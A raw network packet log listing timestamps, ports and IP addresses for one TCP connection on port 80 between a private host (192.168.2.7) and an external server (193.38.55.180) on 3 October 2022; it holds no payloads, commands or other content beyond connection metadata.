Oct 3, 2022 17:35:32.862143993 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.862185955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.862209082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864005089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864056110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864094973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864156008 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864187956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864214897 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864240885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864260912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864279032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864296913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864300966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864327908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864336967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864346027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864356041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.864391088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.864404917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.865453959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865484953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865503073 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865521908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865540028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865556955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865569115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.865575075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865592957 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865611076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865621090 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.865628004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865641117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.865647078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.865662098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.865695000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866012096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866034031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866053104 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866072893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866082907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866122007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866146088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866195917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866249084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866267920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866277933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866296053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866297960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866317034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866324902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866336107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866343975 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866354942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866363049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866373062 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866379976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866400957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866415024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866502047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866590023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866609097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866627932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866635084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866646051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866660118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866664886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866684914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866693020 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866703987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866727114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866745949 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866861105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866908073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.866925001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866961956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866981030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.866982937 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867002010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867018938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867032051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867072105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867180109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867201090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867225885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867228031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867244005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867266893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867883921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867908955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867928028 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867944002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867947102 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.867959976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867979050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.867995977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868117094 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868139029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868159056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868160963 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868176937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868180037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868195057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868197918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868212938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868218899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868231058 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868241072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868248940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868258953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868268013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868275881 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868294001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868294954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868313074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868314981 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868330956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868331909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868349075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868354082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868366957 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868371964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868386030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868391037 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868411064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868422985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868572950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868592024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868612051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868628979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.868643045 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.868680000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885515928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885559082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885576963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885590076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885603905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885622025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885634899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885652065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885751009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885754108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885772943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885787964 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885792017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885809898 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885823011 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885828018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885838985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885845900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885865927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885865927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885885000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885891914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885901928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885920048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885922909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885937929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885940075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885957003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885965109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885974884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.885992050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.885993004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886004925 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886012077 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886020899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886028051 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886045933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886045933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886059999 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886065006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886075974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886082888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886091948 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886101007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886107922 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886120081 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886120081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886140108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886141062 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886154890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886161089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886178970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886190891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886197090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886208057 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886214018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886224985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886233091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886241913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886251926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886255980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886271000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886271954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886288881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886290073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886303902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886308908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886326075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886337996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886343956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886353016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886363029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886368990 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886382103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886409044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886612892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886632919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886651039 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886666059 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886671066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886681080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886689901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886693001 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886708021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886710882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886725903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886730909 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886744022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.886748075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886760950 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.886782885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.887815952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.887940884 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.890619040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.890654087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.890674114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.890758038 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.890785933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.893809080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893838882 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893857002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893876076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893893003 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893913031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893929005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.893930912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893929005 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.893948078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893955946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.893965960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.893975019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.893985033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894001961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894018888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894025087 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.894037962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894046068 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.894056082 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894073009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894093990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.894117117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.894117117 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.894134998 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.894151926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895340919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895370960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895391941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895409107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895426035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895443916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895462990 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895473957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895481110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895497084 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895498991 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895507097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895517111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895535946 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895556927 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895574093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895577908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895577908 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895591974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895591974 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895615101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895632029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895680904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895714045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895733118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895751953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895757914 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895771027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895786047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895790100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895808935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895821095 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895827055 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895844936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895860910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895874023 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895876884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.895903111 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.895921946 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.897933960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.897969961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.897994995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898020029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898042917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898055077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898066998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898082972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898082972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898088932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898107052 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898109913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898124933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898127079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898144007 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898148060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898161888 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898163080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898179054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898183107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898196936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898200989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898217916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898219109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898231030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898236036 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898255110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898272038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898274899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898289919 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898303032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898308992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898325920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898328066 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898344040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898355007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:32.898361921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:32.898380041 CEST	80	49703	193.38.55.180	192.168.2.7
